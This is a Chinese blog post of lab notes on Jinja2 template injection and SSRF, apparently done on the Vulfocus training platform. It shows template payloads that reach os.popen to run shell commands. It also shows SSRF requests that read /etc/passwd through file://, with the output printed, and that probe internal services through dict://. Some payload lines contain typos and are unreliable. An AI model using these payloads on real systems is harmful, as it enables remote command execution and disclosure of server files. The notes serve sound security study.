vulfocus

一、ssti

1.初识

服务器端模板注入(Server-Side Template Injection),注入思路参照SQL注入

SSTI模板注入总结_L1am0ur的博客-CSDN博客

2.漏洞诱因

render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。

3.ssti类型

网站模板引擎有jinja2、tornado、smarty、twig等等

ssti类型

4.常用类

1
2
3
4
__class__用来查看变量所属的类,格式为变量.__class__

eg:>>> {}.__class__
<class 'dict'>
1
2
3
4
5
__bases__用来查看类的基类,注意是类的基类,所以格式为变量.__class__.__bases__
同时也能加上数组,比如变量.__class__.__bases__[0]来获得第一个基类。

eg:>>> {}.__class__.__bases__
(<class 'object'>,)
1
2
3
4
5
__subclasses__()查看当前类的子类`,格式`变量.__class__.__bases__[0].__subclasses__()`
这个类也可以加数组来查看指定的索引值,例如`变量.__class__.__bases__[0].__subclasses__()[1]

eg:>>> ''.__class__.__bases__[0].__subclasses__()[0]
<class 'type'>

5.利用方法

示例:变量.class.bases[0].subclasses()[138].init.__globals__,init初始化类,然后globals全局来查找所有的方法及变量及参数。

由此我们可以看到各种各样的参数方法函数,去找一个可利用的function来执行,比如popen的话,就可以这样利用:

1
**''.___class__.base__[0].__subclass__()[138].__init__.__globals__['popen']('dir').read()
1
/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

二、vulfocus

http://123.58.224.8:21855/1.php?url=https://gimg2.baidu.com/image_search/src=http%3A%2F%2Finews.gtimg.com%2Fnewsapp_bt%2F0%2F14008664378%2F1000

{“err_no”:1,”err_msg”:”input data error”,”request_id”:3676472870}1

123.58.224.8:21855/1.php?url=https://www.baidu.com

该功能可以访问输入的url

http://123.58.224.8:13880/1.php?url=file:///etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 1

http://123.58.224.8:13880/1.php?url=dict://127.0.0.1:80 //探测内网信息

哎,网页体验一言难尽,总是连接失败。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信